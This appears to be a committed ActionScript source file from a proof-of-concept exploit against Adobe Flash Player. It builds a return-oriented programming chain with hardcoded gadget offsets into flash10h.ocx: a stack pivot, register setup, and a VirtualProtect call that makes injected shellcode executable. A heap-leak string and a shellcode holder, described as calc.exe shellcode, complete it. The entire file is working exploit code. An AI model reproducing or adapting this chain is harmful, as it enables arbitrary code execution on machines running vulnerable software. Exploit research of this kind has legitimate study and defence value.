1
+ package poc {
2
+
3
+ import flash.display.Sprite
4
+ import flash.utils.*
5
+
6
+ public class Real_Ref_Class
7
+ {
8
+ public static function static_func1 (objectLeak :uint ,imageBase :uint ):String
9
+ {
10
+ var address: uint = objectLeak ;
11
+ var b : ByteArray = new ByteArray ();
12
+ b . writeInt (address);
13
+
14
+
15
+ var str: String = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + String . fromCharCode (b [ 3 ] ,b [ 2 ] ,b [ 1 ] ,b [ 0 ] );
16
+ return str;
17
+ }
18
+
19
+ public static function ROPPayload (imageBase :uint ,shellcodeAddrLeak :uint ):String
20
+ {
21
+ var b : ByteArray = new ByteArray ();
22
+ var address: uint = imageBase + 0xfa851 ;
23
+ var t: ByteArray = new ByteArray ();
24
+ t. writeInt (address);
25
+ b . writeByte (t[ 3 ] );
26
+ b . writeByte (t[ 2 ] );
27
+ b . writeByte (t[ 1 ] );
28
+ b . writeByte (t[ 0 ] ); // stack pivot address (flash10h.ocx)
29
+ b . writeUnsignedInt (0x41414141 );
30
+ b . writeUnsignedInt (0x41414141 );
31
+ b . writeUnsignedInt (0x41414141 );
32
+ b . writeUnsignedInt (0x41414141 );
33
+ b . writeUnsignedInt (0x41414141 );
34
+ b . writeUnsignedInt (0x41414141 );
35
+ b . writeUnsignedInt (0x41414141 );
36
+ b . writeUnsignedInt (0x41414141 );
37
+ b . writeUnsignedInt (0x41414141 );
38
+ b . writeUnsignedInt (0x41414141 );
39
+ b . writeUnsignedInt (0x41414141 );
40
+ b . writeUnsignedInt (0x41414141 );
41
+ b . writeUnsignedInt (0x41414141 );
42
+ b . writeUnsignedInt (0x41414141 );
43
+ b . writeUnsignedInt (0x41414141 );
44
+ b . writeUnsignedInt (0x41414141 );
45
+ b . writeUnsignedInt (0x41414141 );
46
+ b . writeUnsignedInt (0x41414141 );
47
+ address = imageBase + 0x034D976 ;
48
+ t = new ByteArray ();
49
+ t. writeInt (address);
50
+ b . writeByte (t[ 3 ] );
51
+ b . writeByte (t[ 2 ] );
52
+ b . writeByte (t[ 1 ] );
53
+ b . writeByte (t[ 0 ] ); //Fill edi, esi, ebp with parameters (flash10h.ocx)
54
+ b . writeUnsignedInt (0x41414141 );
55
+ b . writeUnsignedInt (0x47474747 );
56
+ address = shellcodeAddrLeak;
57
+ t = new ByteArray ();
58
+ t. writeInt (address);
59
+ b . writeByte (t[ 3 ] );
60
+ b . writeByte (t[ 2 ] );
61
+ b . writeByte (t[ 1 ] );
62
+ b . writeByte (t[ 0 ] ); // edi Shellcode address
63
+ b . writeUnsignedInt (0x00200000 ); // esi size
64
+ b . writeUnsignedInt (0x40000000 ); // ebp permission
65
+ b . writeUnsignedInt (0x41414141 );
66
+ b . writeUnsignedInt (0x41414141 );
67
+ b . writeUnsignedInt (0x41414141 );
68
+ b . writeUnsignedInt (0x41414141 );
69
+ b . writeUnsignedInt (0x41414141 );
70
+ b . writeUnsignedInt (0x41414141 );
71
+ b . writeUnsignedInt (0x41414141 );
72
+ b . writeUnsignedInt (0x41414141 );
73
+ b . writeUnsignedInt (0x41414141 );
74
+ address = imageBase + 0x34D962 ;
75
+ t = new ByteArray ();
76
+ t. writeInt (address);
77
+ b . writeByte (t[ 3 ] );
78
+ b . writeByte (t[ 2 ] );
79
+ b . writeByte (t[ 1 ] );
80
+ b . writeByte (t[ 0 ] ); // call VirtualProtect (flash10h.ocx)
81
+ b . writeUnsignedInt (0x41414141 );
82
+ b . writeUnsignedInt (0x41414141 );
83
+ b . writeUnsignedInt (0x41414141 );
84
+ b . writeUnsignedInt (0x41414141 );
85
+ b . writeUnsignedInt (0x41414141 );
86
+ b . writeUnsignedInt (0x41414141 );
87
+ b . writeUnsignedInt (0x41414141 );
88
+ b . writeUnsignedInt (0x41414141 );
89
+ b . writeUnsignedInt (0x41414141 );
90
+ b . writeUnsignedInt (0x41414141 );
91
+ b . writeUnsignedInt (0x41414141 );
92
+ b . writeUnsignedInt (0x41414141 );
93
+ address = shellcodeAddrLeak;
94
+ t = new ByteArray ();
95
+ t. writeInt (address);
96
+ b . writeByte (t[ 3 ] );
97
+ b . writeByte (t[ 2 ] );
98
+ b . writeByte (t[ 1 ] );
99
+ b . writeByte (t[ 0 ] ); // shellcode address
100
+ b . writeUnsignedInt (0x41414141 );
101
+ b . writeUnsignedInt (0x41414141 );
102
+ b . writeUnsignedInt (0x41414141 );
103
+ b . writeUnsignedInt (0x41414141 );
104
+ b . writeUnsignedInt (0x41414141 );
105
+
106
+ return b . toString ();
107
+ }
108
+
109
+ public static function strToInt (param_in :String ):uint
110
+ {
111
+ var a : uint = parseInt (param_in);
112
+ a = a | 0x00000007
113
+ return a ;
114
+ }
115
+
116
+ public static var shell: String = new String ();
117
+
118
+ public static function setShellcode (buf :String ):void
119
+ {
120
+ shell = buf;
121
+ }
122
+
123
+ public static function shellcode ():String //return a alphanumeric encoded calc.exe shellcode
124
+ {
125
+ return shell;
126
+ }
127
+
128
+ }
129
+
130
+ }
0 commit comments